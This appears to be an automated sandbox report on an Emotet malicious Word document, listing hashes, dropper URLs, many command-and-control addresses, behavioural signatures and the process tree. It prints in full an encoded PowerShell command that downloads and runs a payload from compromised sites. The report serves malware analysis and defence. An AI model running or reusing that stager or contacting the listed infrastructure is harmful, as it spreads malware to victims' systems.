Analysis
- max time kernel
146s - max time network
141s - platform
windows10_x64 - resource
win10v200722 - submitted
14/08/2020, 08:12
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_5f20f3e1c1eab1940bb67015e5918bc959ffca224fff6f8e19c0fd121f624d35_2020-08-14__081033._doc.doc
Resource
win7
General
- Target emotet_e2_5f20f3e1c1eab1940bb67015e5918bc959ffca224fff6f8e19c0fd121f624d35_2020-08-14__081033._doc.doc
- Size 233KB
- Sample200814-6dal2d83sj
- SHA256 5f20f3e1c1eab1940bb67015e5918bc959ffca224fff6f8e19c0fd121f624d35
- MD5 06b7c4cf4657d59012b0b595c224b988
- SHA1 02d3b48ab82b941eafd73b3e9858d6981c45929e
- SHA512 a20048176fbe25b2eff2523ca43272f7af05b353df9e273a04b5822bb5840dfc26cee9eecf7c5f72872237aace2eb6612044429fa3f777ef7d7368851090bff1
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
https://lotuspolymers.com/wp-includes/8twl_g_ov8/
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exe.dropper
http://metheney.com/writehandservices.com/tkivf_6eio_dvgkj/
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exe.dropper
https://www.sonoki-family.com/wp-content/s303_w_kikau/
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exe.dropper
http://tecnofrota.net/cgi-bin/1_9alwl_mg9i4/
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exe.dropper
http://geisterhouse.com/cgi-bin/zjs1s_bb_g/
Extracted
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emotet
-
24.233.112.152:80
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69.30.203.214:8080
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192.210.135.126:8080
-
47.144.21.12:443
-
157.245.99.39:8080
-
119.198.40.179:80
-
62.75.141.82:80
-
181.211.11.242:80
-
167.86.90.214:8080
-
95.213.236.64:8080
-
87.106.139.101:8080
-
109.74.5.95:8080
-
142.105.151.124:443
-
47.146.117.214:80
-
185.94.252.104:443
-
2.58.16.85:7080
-
222.214.218.37:4143
-
85.105.205.77:8080
-
190.160.53.126:80
-
107.185.211.16:80
-
104.131.11.150:443
-
189.212.199.126:443
-
104.131.44.150:8080
-
201.173.217.124:443
-
199.101.86.142:8080
-
121.124.124.40:7080
-
110.145.77.103:80
-
168.235.67.138:7080
-
5.39.91.110:7080
-
78.24.219.147:8080
-
37.187.72.193:8080
-
114.146.222.200:80
-
47.146.32.175:80
-
76.27.179.47:80
-
169.239.182.217:8080
-
91.211.88.52:7080
-
41.60.200.34:80
-
116.203.32.252:8080
-
153.126.210.205:7080
-
157.147.76.151:80
-
74.120.55.163:80
-
209.141.54.221:8080
-
67.205.85.243:8080
-
46.105.131.79:8080
-
74.208.45.104:8080
-
180.92.239.110:8080
-
70.167.215.250:8080
-
61.19.246.238:443
-
83.110.223.58:443
-
109.116.214.124:443
-
87.106.136.232:8080
-
97.82.79.83:80
-
72.12.127.184:443
-
137.59.187.107:8080
-
79.98.24.39:8080
-
139.59.60.244:8080
-
203.117.253.142:80
-
104.236.246.93:8080
-
24.137.76.62:80
-
165.165.171.160:8080
-
181.230.116.163:80
-
93.51.50.171:8080
-
139.130.242.43:80
-
85.152.162.105:80
-
62.138.26.28:8080
-
152.168.248.128:443
-
188.83.220.2:443
-
47.153.182.47:80
-
203.153.216.189:7080
-
81.2.235.111:8080
-
95.179.229.244:8080
-
183.101.175.193:80
-
24.43.99.75:80
-
174.102.48.180:80
-
173.62.217.22:443
-
190.55.181.54:443
-
209.143.35.232:80
-
103.86.49.11:8080
-
204.197.146.48:80
-
200.41.121.90:80
-
113.160.130.116:8443
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83.169.36.251:8080
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176.111.60.55:8080
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37.139.21.175:8080
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24.179.13.119:80
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5.196.74.210:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3988 644 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3144-14-0x0000000002420000-0x000000000242C000-memory.dmp emotet behavioral2/memory/3144-14-0x0000000002420000-0x000000000242C000-memory.dmp emotet behavioral2/memory/3116-17-0x00000000021C0000-0x00000000021CC000-memory.dmp emotet behavioral2/memory/3116-17-0x00000000021C0000-0x00000000021CC000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 21 3988 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3144 Kvap.exe 3116 PlaySndSrv.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\thumbcache\PlaySndSrv.exe Kvap.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3948 WINWORD.EXE 3948 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3988 powersheLL.exe 3988 powersheLL.exe 3988 powersheLL.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3988 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3948 WINWORD.EXE 3144 Kvap.exe 3144 Kvap.exe 3116 PlaySndSrv.exe 3116 PlaySndSrv.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3988 wrote to memory of 3144 3988 powersheLL.exe 76 PID 3988 wrote to memory of 3144 3988 powersheLL.exe 76 PID 3988 wrote to memory of 3144 3988 powersheLL.exe 76 PID 3144 wrote to memory of 3116 3144 Kvap.exe 77 PID 3144 wrote to memory of 3116 3144 Kvap.exe 77 PID 3144 wrote to memory of 3116 3144 Kvap.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5f20f3e1c1eab1940bb67015e5918bc959ffca224fff6f8e19c0fd121f624d35_2020-08-14__081033._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3948
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABYAHIAZgBiAG8AeQBlAD0AJwBSAHcAcgBvAGUANwBnACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABZAFAAcgBgAG8AVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABNAG8AcAAwAGwAawB6ACAAPQAgACcASwB2AGEAcAAnADsAJABIAG0AdQBfAHIANABiAD0AJwBSADgANQB3AGsAZwBpACcAOwAkAFMAYQA5ADYAZQB6AHUAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABNAG8AcAAwAGwAawB6ACsAJwAuAGUAeABlACcAOwAkAEgANgByAGMANwBoAGgAPQAnAEYAZwAwAHcAaABhAGYAJwA7ACQAVgAxADgAbQByAGgAaAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAE4AdAA7ACQAUgBiADcAdABkAGQANwA9ACcAaAB0AHQAcABzADoALwAvAGwAbwB0AHUAcwBwAG8AbAB5AG0AZQByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADgAdAB3AGwAXwBnAF8AbwB2ADgALwAqAGgAdAB0AHAAOgAvAC8AbQBlAHQAaABlAG4AZQB5AC4AYwBvAG0ALwB3AHIAaQB0AGUAaABhAG4AZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAHQAawBpAHYAZgBfADYAZQBpAG8AXwBkAHYAZwBrAGoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAbwBuAG8AawBpAC0AZgBhAG0AaQBsAHkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzADMAMAAzAF8AdwBfAGsAaQBrAGEAdQAvACoAaAB0AHQAcAA6AC8ALwB0AGUAYwBuAG8AZgByAG8AdABhAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AMQBfADkAYQBsAHcAbABfAG0AZwA5AGkANAAvACoAaAB0AHQAcAA6AC8ALwBnAGUAaQBzAHQAZQByAGgAbwB1AHMAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHoAagBzADEAcwBfAGIAYgBfAGcALwAnAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAaQB4AHUAOABnAHUAPQAnAFAAcABkADIANAA3AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcAMABkAGUAYQBwADgAIABpAG4AIAAkAFIAYgA3AHQAZABkADcAKQB7AHQAcgB5AHsAJABWADEAOABtAHIAaABoAC4AIgBEAE8AYAB3AE4AbABPAGAAQQBkAGAARgBJAEwAZQAiACgAJABXADAAZABlAGEAcAA4ACwAIAAkAFMAYQA5ADYAZQB6AHUAKQA7ACQAUQB4AGYAXwB1AHUAdQA9ACcARABiADMAbAA2AHEAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAYQA5ADYAZQB6AHUAKQAuACIATABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADIAOAA2ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBhADkANgBlAHoAdQApADsAJABPADkAYgB0AHoAeABkAD0AJwBYAHEAcgBlAHEAMQBtACcAOwBiAHIAZQBhAGsAOwAkAEEAMAB2ADcAZwAxAGUAPQAnAE8AcAA2AHAAagAyAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABfAGgAMABjAG8AMAA9ACcAQgB6AHkAZABkADkAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Users\Admin\AppData\Local\Temp\Kvap.exe"C:\Users\Admin\AppData\Local\Temp\Kvap.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\SysWOW64\thumbcache\PlaySndSrv.exe"C:\Windows\SysWOW64\thumbcache\PlaySndSrv.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3116
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